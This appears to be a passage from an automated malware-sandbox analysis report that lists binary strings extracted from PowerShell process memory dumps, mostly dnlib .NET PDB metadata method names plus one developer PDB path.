                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: D:\New Private Panell Src 3.0\Rump Updated FIX C#\src\obj\Debug\dnlib.pdbX source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
